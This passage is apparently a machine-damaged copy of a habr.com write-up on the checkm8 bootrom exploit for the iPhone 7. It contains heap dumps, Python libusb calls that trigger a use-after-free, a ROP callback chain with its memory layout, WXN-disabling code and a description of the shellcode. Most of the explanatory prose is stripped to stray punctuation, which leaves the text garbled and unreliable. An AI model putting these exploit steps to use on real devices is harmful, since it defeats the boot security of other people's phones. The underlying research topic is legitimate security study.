0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

, High Speed Full Speed , IO -. , , , . , .


2. IO-


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .


3. usb_device_io_request use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

usb_device_io_request t8010_overwrite , .


t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .


t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .


4.


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

. :


 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

USB usb_device_io_request . , callback . :


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

, 0x70 . f(x) f x .


, Unicorn Engine . uEmu .



iPhone 7 .


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

. , .


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

, , . , , .


5.3. enter_critical_section()


.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

, .


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never), RW . WXN - .


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 . BootROM , INSECURE_MEMORY .


5.8. tlbi


.


5.9. exit_critical_section()


.


5.10. 0x1800B0000


shellcode .


, callback-chainWXN shellcode RW -.


6. shellcode


shellcode src/checkm8_arm64.S :


6.1. USB -


usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .


6.2. USBSerialNumber


- , " PWND:[checkm8]" . , .


6.3. USB -


USB - , .


6.4. USB - TRAMPOLINE ( 0x1800AFC00 )


USB - wValue 0xffff , , . , : memcpy , memset exec ( ).


.


USB


Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .




. checkm8 . , . jailbreak-. , jailbreak checkm8checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .


jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .


Referenzen


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. ipwndfu LinusHenze

Source: https://habr.com/ru/post/de471668/


All Articles